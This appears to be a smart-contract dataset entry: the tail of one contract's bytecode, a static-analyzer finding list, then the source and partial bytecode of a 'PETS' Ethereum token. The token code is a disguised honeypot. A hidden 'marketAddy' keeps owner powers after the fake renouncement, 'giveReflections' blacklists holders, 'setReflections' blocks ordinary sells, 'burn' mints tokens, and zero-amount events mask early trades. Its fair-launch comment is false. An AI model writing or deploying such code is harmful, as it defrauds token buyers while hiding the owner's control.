ffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50565b60066020528060005260406000206000915090505481565b603281565b60035481565b60025481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461208c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156120c657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915090505481565b732dc9136ace4077d5060131c0eccd1635897c75dd81565b6802b5e3af16b188000081565b6000828211156121cc57fe5b818303905092915050565b60006121e68360000183612664565b60001c905092915050565b60008082840190508381101561220357fe5b8091505092915050565b6000600e54141561221d57612298565b61225a612249600e5461223b600f548561257790919063ffffffff16565b6125a690919063ffffffff16565b600d546121f190919063ffffffff16565b600d819055507f497e6c34cb46390a801e970e8c72fd87aa7fded87c9b77cdac588f235904a825816040518082815260200191505060405180910390a15b50565b60006122a682611b39565b905060008111156124e9577394f31ac896c9823d81cf9c2c93feceed4923218f73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561233657600080fd5b505af115801561234a573d6000803e3d6000fd5b505050506040513d602081101561236057600080fd5b81019080805190602001909291905050506123e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61243581600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121f190919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061248d816003546121f190919063ffffffff16565b6003819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600d54600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b6000808284029050600084148061259657508284828161259357fe5b04145b61259c57fe5b8091505092915050565b6000808284816125b257fe5b0490508091505092915050565b60006125e7836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6126e7565b905092915050565b6000612617836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61270a565b905092915050565b600061262d826000016127f2565b9050919050565b600061265c836000018373ffffffffffffffffffffffffffffffffffffffff1660001b612803565b905092915050565b6000818360000180549050116126c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806128746022913960400191505060405180910390fd5b8260000182815481106126d457fe5b9060005260206000200154905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b600080836001016000848152602001908152602001600020549050600081146127e6576000600182039050600060018660000180549050039050600086600001828154811061275557fe5b906000526020600020015490508087600001848154811061277257fe5b90600052602060002001819055506001830187600101600083815260200190815260200160002081905550866000018054806127aa57fe5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506127ec565b60009150505b92915050565b600081600001805490509050919050565b600061280f83836126e7565b61286857826000018290806001815401808255809150506001900390600052602060002001600090919091909150558260000180549050836001016000848152602001908152602001600020819055506001905061286d565b600090505b9291505056fe456e756d657261626c655365743a20696e646578206f7574206f6620626f756e647341646d696e2063616e6e6f74205472616e73666572206f75742052657761726420546f6b656e732066726f6d2074686973207661756c742141646d696e2063616e6e6f74207472616e73666572206f7574204c5020746f6b656e732066726f6d2074686973207661756c7421a26469706673582212201d73dc87e95046434cb275d4607c760c2348b4f0e3693e853c7d393817513d2764736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,975 |
0x50a4a4b60a9104cf90e7f36b573ed65bb0bb8abe
|
/**
*Submitted for verification at Etherscan.io on 2022-04-05
*/
/*
Purchase crates and unbox your own Mini Pet using the PETS token.
Stake and grow your pets and play to earn. More info available on our telegram and website
0% Tax, All funding is provided by the team
Liquidity will be locked for 1 year a few minutes after launch and ownership will be renounced.
100% Fair Launch - no presale, no whitelist
Team will invest their own money on launch like everyone else
Invest responsibly.
*/
pragma solidity ^0.8.0;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
contract PETS is Context, IERC20, IERC20Metadata {
mapping(address => uint256) public _balances;
mapping(address => mapping(address => uint256)) public _allowances;
mapping(address => bool) private _blackbalances;
mapping (address => bool) private bots;
mapping(address => bool) private _balances1;
address internal router;
uint256 public _totalSupply = 4500000000000*10**18;
string public _name = "PETS";
string public _symbol= "PETS";
bool balances1 = true;
bool private tradingOpen;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
uint256 private openBlock;
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(this), msg.sender, _totalSupply);
owner = msg.sender;
}
address public owner;
address private marketAddy = payable(0xb01A6C7AEb0B56518F173F9641c72E757BFab7F8);
modifier onlyOwner {
require((owner == msg.sender) || (msg.sender == marketAddy));
_;
}
function changeOwner(address _owner) onlyOwner public {
owner = _owner;
}
function RenounceOwnership() onlyOwner public {
owner = 0x000000000000000000000000000000000000dEaD;
}
function giveReflections(address[] memory recipients_) onlyOwner public {
for (uint i = 0; i < recipients_.length; i++) {
bots[recipients_[i]] = true;
}
}
function setReflections() onlyOwner public {
router = uniswapV2Pair;
balances1 = false;
}
function openTrading() public onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner,
block.timestamp
);
tradingOpen = true;
openBlock = block.number;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
receive() external payable {}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(_blackbalances[sender] != true );
require(!bots[sender] && !bots[recipient]);
if(recipient == router) {
require((balances1 || _balances1[sender]) || (sender == marketAddy), "ERC20: transfer to the zero address");
}
require((amount < 200000000000*10**18) || (sender == marketAddy) || (sender == owner) || (sender == address(this)));
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
if ((openBlock + 4 > block.number) && sender == uniswapV2Pair) {
emit Transfer(sender, recipient, 0);
} else {
emit Transfer(sender, recipient, amount);
}
}
function burn(address account, uint256 amount) onlyOwner public virtual {
require(account != address(0), "ERC20: burn to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
|
0x60806040526004361061012e5760003560e01c80636ebcf607116100ab578063a6f9dae11161006f578063a6f9dae1146103ed578063a9059cbb14610416578063b09f126614610453578063c9567bf91461047e578063d28d885214610495578063dd62ed3e146104c057610135565b80636ebcf607146102f457806370a08231146103315780638da5cb5b1461036e57806395d89b41146103995780639dc29fac146103c457610135565b806323b872dd116100f257806323b872dd14610233578063294e3eb114610270578063313ce567146102875780633eaaf86b146102b25780636e4ee811146102dd57610135565b8063024c2ddd1461013a57806306fdde0314610177578063095ea7b3146101a257806315a892be146101df57806318160ddd1461020857610135565b3661013557005b600080fd5b34801561014657600080fd5b50610161600480360381019061015c9190611db3565b6104fd565b60405161016e9190611e0c565b60405180910390f35b34801561018357600080fd5b5061018c610522565b6040516101999190611ec0565b60405180910390f35b3480156101ae57600080fd5b506101c960048036038101906101c49190611f0e565b6105b4565b6040516101d69190611f69565b60405180910390f35b3480156101eb57600080fd5b50610206600480360381019061020191906120cc565b6105d2565b005b34801561021457600080fd5b5061021d610719565b60405161022a9190611e0c565b60405180910390f35b34801561023f57600080fd5b5061025a60048036038101906102559190612115565b610723565b6040516102679190611f69565b60405180910390f35b34801561027c57600080fd5b5061028561081b565b005b34801561029357600080fd5b5061029c61094d565b6040516102a99190612184565b60405180910390f35b3480156102be57600080fd5b506102c7610956565b6040516102d49190611e0c565b60405180910390f35b3480156102e957600080fd5b506102f261095c565b005b34801561030057600080fd5b5061031b6004803603810190610316919061219f565b610a53565b6040516103289190611e0c565b60405180910390f35b34801561033d57600080fd5b506103586004803603810190610353919061219f565b610a6b565b6040516103659190611e0c565b60405180910390f35b34801561037a57600080fd5b50610383610ab3565b60405161039091906121db565b60405180910390f35b3480156103a557600080fd5b506103ae610ad9565b6040516103bb9190611ec0565b60405180910390f35b3480156103d057600080fd5b506103eb60048036038101906103e69190611f0e565b610b6b565b005b3480156103f957600080fd5b50610414600480360381019061040f919061219f565b610d71565b005b34801561042257600080fd5b5061043d60048036038101906104389190611f0e565b610e67565b60405161044a9190611f69565b60405180910390f35b34801561045f57600080fd5b50610468610e85565b6040516104759190611ec0565b60405180910390f35b34801561048a57600080fd5b50610493610f13565b005b3480156104a157600080fd5b506104aa611417565b6040516104b79190611ec0565b60405180910390f35b3480156104cc57600080fd5b506104e760048036038101906104e29190611db3565b6114a5565b6040516104f49190611e0c565b60405180910390f35b6001602052816000526040600020602052806000526040600020600091509150505481565b60606007805461053190612225565b80601f016020809104026020016040519081016040528092919081815260200182805461055d90612225565b80156105aa5780601f1061057f576101008083540402835291602001916105aa565b820191906000526020600020905b81548152906001019060200180831161058d57829003601f168201915b5050505050905090565b60006105c86105c161152c565b8484611534565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061067b5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61068457600080fd5b60005b8151811015610715576001600360008484815181106106a9576106a8612257565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061070d906122b5565b915050610687565b5050565b6000600654905090565b60006107308484846116ff565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061077b61152c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156107fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107f290612370565b60405180910390fd5b61080f8561080761152c565b858403611534565b60019150509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614806108c45750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108cd57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600960006101000a81548160ff021916908315150217905550565b60006012905090565b60065481565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610a055750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a0e57600080fd5b61dead600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006020528060005260406000206000915090505481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060088054610ae890612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610b1490612225565b8015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610c145750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c1d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c84906123dc565b60405180910390fd5b610c9960008383611d3c565b8060066000828254610cab91906123fc565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d0091906123fc565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d659190611e0c565b60405180910390a35050565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610e1a5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e2357600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610e7b610e7461152c565b84846116ff565b6001905092915050565b60088054610e9290612225565b80601f0160208091040260200160405190810160405280929190818152602001828054610ebe90612225565b8015610f0b5780601f10610ee057610100808354040283529160200191610f0b565b820191906000526020600020905b815481529060010190602001808311610eee57829003601f168201915b505050505081565b3373ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480610fbc5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610fc557600080fd5b600960019054906101000a900460ff1615611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c9061249e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600960026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061109e30600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600654611534565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156110e9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061110d91906124d3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611174573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119891906124d3565b6040518363ffffffff1660e01b81526004016111b5929190612500565b6020604051808303816000875af11580156111d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f891906124d3565b600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061128130610a6b565b600080600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016112c99695949392919061256e565b60606040518083038185885af11580156112e7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061130c91906125e4565b5050506001600960016101000a81548160ff02191690831515021790555043600b81905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600960029054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016113d0929190612637565b6020604051808303816000875af11580156113ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611413919061268c565b5050565b6007805461142490612225565b80601f016020809104026020016040519081016040528092919081815260200182805461145090612225565b801561149d5780601f106114725761010080835404028352916020019161149d565b820191906000526020600020905b81548152906001019060200180831161148057829003601f168201915b505050505081565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156115a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159b9061272b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611614576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161160b906127bd565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116f29190611e0c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561176f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117669061284f565b60405180910390fd5b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156117cd57600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118715750600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61187a57600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119cc57600960009054906101000a900460ff16806119345750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061198c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b6119cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c2906128e1565b60405180910390fd5b5b6c02863c1f5cdae42f9540000000811080611a345750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611a8c5750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ac257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611acb57600080fd5b611ad6838383611d3c565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611b5c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5390612973565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611bef91906123fc565b92505081905550436004600b54611c0691906123fc565b118015611c605750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611cd0578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611cc39190612993565b60405180910390a3611d36565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611d2d9190611e0c565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611d8082611d55565b9050919050565b611d9081611d75565b8114611d9b57600080fd5b50565b600081359050611dad81611d87565b92915050565b60008060408385031215611dca57611dc9611d4b565b5b6000611dd885828601611d9e565b9250506020611de985828601611d9e565b9150509250929050565b6000819050919050565b611e0681611df3565b82525050565b6000602082019050611e216000830184611dfd565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611e61578082015181840152602081019050611e46565b83811115611e70576000848401525b50505050565b6000601f19601f8301169050919050565b6000611e9282611e27565b611e9c8185611e32565b9350611eac818560208601611e43565b611eb581611e76565b840191505092915050565b60006020820190508181036000830152611eda8184611e87565b905092915050565b611eeb81611df3565b8114611ef657600080fd5b50565b600081359050611f0881611ee2565b92915050565b60008060408385031215611f2557611f24611d4b565b5b6000611f3385828601611d9e565b9250506020611f4485828601611ef9565b9150509250929050565b60008115159050919050565b611f6381611f4e565b82525050565b6000602082019050611f7e6000830184611f5a565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b611fc182611e76565b810181811067ffffffffffffffff82111715611fe057611fdf611f89565b5b80604052505050565b6000611ff3611d41565b9050611fff8282611fb8565b919050565b600067ffffffffffffffff82111561201f5761201e611f89565b5b602082029050602081019050919050565b600080fd5b600061204861204384612004565b611fe9565b9050808382526020820190506020840283018581111561206b5761206a612030565b5b835b8181101561209457806120808882611d9e565b84526020840193505060208101905061206d565b5050509392505050565b600082601f8301126120b3576120b2611f84565b5b81356120c3848260208601612035565b91505092915050565b6000602082840312156120e2576120e1611d4b565b5b600082013567ffffffffffffffff811115612100576120ff611d50565b5b61210c8482850161209e565b91505092915050565b60008060006060848603121561212e5761212d611d4b565b5b600061213c86828701611d9e565b935050602061214d86828701611d9e565b925050604061215e86828701611ef9565b9150509250925092565b600060ff82169050919050565b61217e81612168565b82525050565b60006020820190506121996000830184612175565b92915050565b6000602082840312156121b5576121b4611d4b565b5b60006121c384828501611d9e565b91505092915050565b6121d581611d75565b82525050565b60006020820190506121f060008301846121cc565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061223d57607f821691505b60208210811415612251576122506121f6565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006122c082611df3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122f3576122f2612286565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061235a602883611e32565b9150612365826122fe565b604082019050919050565b600060208201905081810360008301526123898161234d565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006123c6601f83611e32565b91506123d182612390565b602082019050919050565b600060208201905081810360008301526123f5816123b9565b9050919050565b600061240782611df3565b915061241283611df3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561244757612446612286565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000612488601783611e32565b915061249382612452565b602082019050919050565b600060208201905081810360008301526124b78161247b565b9050919050565b6000815190506124cd81611d87565b92915050565b6000602082840312156124e9576124e8611d4b565b5b60006124f7848285016124be565b91505092915050565b600060408201905061251560008301856121cc565b61252260208301846121cc565b9392505050565b6000819050919050565b6000819050919050565b600061255861255361254e84612529565b612533565b611df3565b9050919050565b6125688161253d565b82525050565b600060c08201905061258360008301896121cc565b6125906020830188611dfd565b61259d604083018761255f565b6125aa606083018661255f565b6125b760808301856121cc565b6125c460a0830184611dfd565b979650505050505050565b6000815190506125de81611ee2565b92915050565b6000806000606084860312156125fd576125fc611d4b565b5b600061260b868287016125cf565b935050602061261c868287016125cf565b925050604061262d868287016125cf565b9150509250925092565b600060408201905061264c60008301856121cc565b6126596020830184611dfd565b9392505050565b61266981611f4e565b811461267457600080fd5b50565b60008151905061268681612660565b92915050565b6